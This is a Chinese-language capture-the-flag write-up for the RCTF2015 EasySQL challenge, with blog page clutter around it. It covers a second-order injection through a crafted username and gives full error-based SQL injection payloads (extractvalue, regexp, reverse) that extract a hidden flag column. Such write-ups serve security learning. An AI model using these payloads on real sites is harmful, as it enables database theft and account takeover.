[RCTF2015]EasySQL 1

[RCTF2015]EasySQL1

两个功能
1、登录
2、注册

第一个尝试

能注册,想到二次注入
先注册 试试 admin 发现已经存在 那么尝试更改admin的密码
注册 admin"#
登录后更改密码,成功,返回登录admin,成功
但是发现并没有什么软用
admin 和 普通用户没区别

第二个尝试

发现更改密码处可以报错
那么尝试报错注入
思路构造用户名,在更改密码的时候让其报错

ad"&&exists(select(extractvalue(1,concat('~',(select(group_concat(table_name))from(information_schema.columns)where(table_schema=database()))))))#

在这里插入图片描述
测试得flag并不在 flag表里

ad"&&exists(select(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))))#

在这里插入图片描述
测得在users表中有一列 real_flag_1s_here,报错长度有限

ad"&&exists(select(extractvalue(1,concat('~',(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('flag'))))))#

在这里插入图片描述

regexp 正则表达式匹配 由于报错注入的长度限制 需要使用正则表达式
那么直接去查 real_flag_1s_here 这一列 为xxxxxxxxxxxxxx
由于长度的限制导致
用正则表达式匹配 flag 可以得到一半的 flag

ad"&&exists(select(extractvalue(1,concat('~',(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('flag'))))))#

在这里插入图片描述
使用reverse函数 将字符逆序输出

ad"&&exists(select(extractvalue(1,concat('~',(select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('flag'))))))#

在这里插入图片描述
然后复制到mysql 中再逆序一下就行
在这里插入图片描述
最后得到flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值